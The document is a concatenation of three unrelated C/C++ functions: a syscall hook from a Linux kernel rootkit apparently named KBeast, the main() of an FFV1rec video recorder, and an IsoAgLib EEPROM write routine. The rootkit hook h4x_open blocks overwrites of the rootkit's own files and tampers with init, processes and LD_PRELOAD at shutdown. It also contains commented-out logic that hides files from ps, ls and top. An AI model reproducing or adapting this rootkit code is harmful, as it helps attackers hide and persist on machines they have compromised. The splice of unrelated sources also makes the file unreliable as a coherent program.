/*Don't allow your file to be overwrited*/ asmlinkage int h4x_open(const char __user *filename, int flags, int mode) { int r; char *kbuf=(char*)kmalloc(256,GFP_KERNEL); copy_from_user(kbuf,filename,255); //bits/fcntl.h O_WRONLY|O_TRUNC|O_LARGEFILE is 0101001 if((strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)) && flags == 0101001){ kfree(kbuf); return -EACCES; } //when the computer shutdown or reboot the flags eques to 1 if(strstr(kbuf,"/dev/initctl") && flags==1 && !(strstr(current->comm,"log")) ){ //if(strstr(kbuf,"/dev/initctl")){ writeInit(); started = 0; if(mypid != 0){ (*o_kill)(mypid,9); } if(hasPreload){ delPreload(); hasPreload=0; }else{ rmPreload(); } //delInit(); //snprintf(obuffer,sizeof(obuffer),"initctlmagic- [UID = %i ] %s >file:%s > flags:%i > mode: %i\n",current->uid,current->comm,kbuf,flags,mode); //log_to_file(obuffer); } //del preload settings /* if(strstr(kbuf,CONFIG_FULLPATH)){ if ( (strstr(current->comm,"ps")) || (strstr(current->comm,"pstree")) || (strstr(current->comm,"ls")) || (strstr(current->comm,"top")) || (strstr(current->comm,"lsof")) ){ hasPreload = isPreExist(); writePreload(); r=(*o_open)(filename,flags,mode); if(hasPreload){ delPreload(); }else{ rmPreload(); } #ifdef DEBUG snprintf(obuffer,sizeof(obuffer),"---Good Final Here Opened:\n"); log_to_file(obuffer); #endif return r; } #ifdef DEBUG snprintf(obuffer,sizeof(obuffer),"Here Opened:%s\n",kbuf); log_to_file(obuffer); #endif } */ r=(*o_open)(filename,flags,mode); return r; }
int main(int argc, char** argv) { char *outfilename = "outfile"; int reclength= -1; // reclength in secs char c; ///////////////////////////////////////////////////// // CHECKING AND INTERPRETING COMMAND LINE SWITCHES ///////////////////////////////////////////////////// printf("\n*********************************************************************\n"); printf("\n FFV1rec based on nuppelrec by Roman Hochleitner"); printf("\n version "_VERSION_"\n"); printf("\n*********************************************************************\n"); quiet = 0; avcodec_init(); avcodec_register_all(); recordaudio = 1; memset(&ainfo,0,sizeof(ainfo)); ainfo.frequency=44100; tzone.tz_minuteswest=-60; // whatever tzone.tz_dsttime=0; now.tv_sec=0; // reset now.tv_usec=0; // reset parseRcFile(); while ((c=getopt(argc,argv,"d:b:M:q:l:c:C:S:W:H:t:NTV:A:a:srf:pnb:x:y:zQ2")) != -1) { switch(c) { case '2': do_split=1;break; case 'b': ainfo.frequency=atoi(optarg);break; case 'q': info.quality = atoi(optarg); break; case 'd': if(!(info.keydist = atoi(optarg))) info.keydist=1; break; case 'M': info.me = atoi(optarg); break; case 'S': info.channel = atoi(optarg); break; case 'W': info.width = atoi(optarg); break; case 'H': info.height = atoi(optarg); break; case 't': drec = atof(optarg); break; case 'x': videomegs = atoi(optarg); break; case 'C': if(!FFV1_selectByName(optarg)) { printf("\n cannot find this codec\n"); exit(0); };break; case 'y': audiomegs = atoi(optarg); break; case 'p': info.ntsc = 0; break; case 'n': info.ntsc = 1; break; case 's': info.ntsc = 0; info.secam=1; break; case 'f': info.frequency = atof(optarg); break; case 'z': recordaudio = 0;printf("\n Audio disabled\n"); break; case 'A': audiodevice = optarg; break; case 'V': videodevice = optarg; break; case 'Q': quiet = 1; break; case 'h': usage(); break; default: usage(); } } if (optind==argc) usage(); else outfilename=argv[optind]; if (drec != -1.0) { reclength = (int)(drec*60); } if(info.width==0) { info.width=352; } if(info.height==0) { if(info.ntsc) info.height=240; else info.height=288; } ///////////////////////////////////////////// // CALCULATE BUFFER SIZES ///////////////////////////////////////////// video_buffer_size=(info.height*info.width*3)>>1 ; if (videomegs == -1) { if (info.width>=480 || info.height>288) { videomegs = 64; //drRocket -> helps megs for big ones } else { videomegs = 14; // normally we don't need more than that } } video_buffer_count = (videomegs*1024*1024)/video_buffer_size; // we have to detect audio_buffer_size, too before initshm() // or we crash horribly later, if no audio is recorded we // don't change the value of 16384 if (recordaudio) { if (!audioDevPreinit(audiodevice,&ainfo)) { fprintf(stderr,"error: could not detect audio blocksize, audio recording disabled\n"); recordaudio = 0; } } if (audiomegs==-1) audiomegs=2; if (ainfo.bufferSize!=0) audio_buffer_count = (audiomegs*1000*1000)/ainfo.bufferSize; else audio_buffer_count = 1; fprintf(stderr, "we are using %dx%ldB video (frame-) buffers and\n %dx%ldB audio blocks\n audio fq=%ld\n", video_buffer_count, video_buffer_size, audio_buffer_count, ainfo.bufferSize, ainfo.frequency ); initBuffers(); ///////////////////////////////////////////// // NOW START WRITER/ENCODER PROCESS ///////////////////////////////////////////// writeInit(&info); PTHR *wr; wr=(PTHR *)&write_process; pthread_create(&pid_write,0,wr,outfilename); /////////////////////////// // now save the start time gettimeofday(&stm, &tzone); // #ifndef TESTINPUT ///////////////////////////////////////////// // NOW START AUDIO RECORDER ///////////////////////////////////////////// if (recordaudio) { printf("Initializing audio...\n"); if(! initAudioDev(audiodevice,&ainfo)) { fprintf(stderr, "cannot initialize audio!\n"); exit(-1); } PTHR *aud; aud=(PTHR *)&captureAudioDev; pthread_create(&pid_audio,0,aud,NULL); } else { printf("No audio.\n"); } // #endif ///////////////////////////////////////////// // NOW START VIDEO RECORDER ///////////////////////////////////////////// // only root can do this if (getuid()==0) nice(-10); if( !initVideoDev(videodevice, &info )) { printf(" Cannot init video input\n"); exit(0); } captureVideoDev(); return 0; }
bool EepromIo_c::write(uint16_t aui16_adress, uint16_t aui16_number, const uint8_t* apb_data) { uint16_t ui16_restNumber = aui16_number, ui16_actualStart = aui16_adress, ui16_actualSize; const uint8_t* pb_data = apb_data; uint8_t pb_compare[MAX_EEPROM_SEGMENT_SIZE]; isoaglib_assert( (uint32_t(aui16_adress) + uint32_t(aui16_number)) <= eepromSize() ); while (ui16_restNumber > 0) { // if data doesn't fit in one segment write with series of BIOS write calls // init for write if (writeInit()) { // init successfull // get data portion for this call // set to maximal size for this segment ui16_actualSize = maxSize(ui16_actualStart); // if needed size is smaller or equiv set ui16_actualSize to the needed if (ui16_actualSize >= ui16_restNumber) ui16_actualSize = ui16_restNumber; // now ui16_actualSize is allowed -> write BIOS // perform up to MAX_EEPROM_WRITE_TRY_CYCLE_CNT write tries - and register error if re-read of just written // value is different from wanted value uint8_t ui8_tryCnt = 0; for ( ; ui8_tryCnt < MAX_EEPROM_WRITE_TRY_CYCLE_CNT; ui8_tryCnt++ ) { // first check if the data is different from the original data in EEPROM // (avoid rewrite of same data) // call BIOS function to check that EEPROM is ready setState4BiosReturn(wait_eepromReady()); // then call BIOS function to read setState4BiosReturn(HAL::eepromRead (ui16_actualStart, ui16_actualSize, (uint8_t*)pb_compare)); // compare actual data in EEPROM with given data if (CNAMESPACE::memcmp(pb_compare, pb_data,ui16_actualSize) != 0) { // old data is different -> write new data if (writeInit()) { // call BIOS function setState4BiosReturn(HAL::eepromWrite(ui16_actualStart, ui16_actualSize, pb_data)); } } else { // re-read of value delivers same value -> break try loop break; } } if ( ui8_tryCnt == MAX_EEPROM_WRITE_TRY_CYCLE_CNT ) { // write without success, as re-read delivers always different value IsoAgLib::getILibErrInstance().registerNonFatal( IsoAgLib::iLibErr_c::HalEpromWriteError, 0 ); // don't try further writes break; } else if ( IsoAgLib::getILibErrInstance().good( IsoAgLib::iLibErr_c::HalEpromWriteError, 0 ) ) { //update the write vals // decrement number of uint8_t which must be written in next loop run ui16_restNumber -= ui16_actualSize; // set the EEPROM memory start position for next write loop run ui16_actualStart += ui16_actualSize; // set pointer to source data to begin of next part pb_data += ui16_actualSize; } else { // error is already stored in state var ->just exit loop break; } } // if write init } // while return ( IsoAgLib::getILibErrInstance().good( IsoAgLib::iLibErr_c::HalEpromWriteError, 0 ) ); }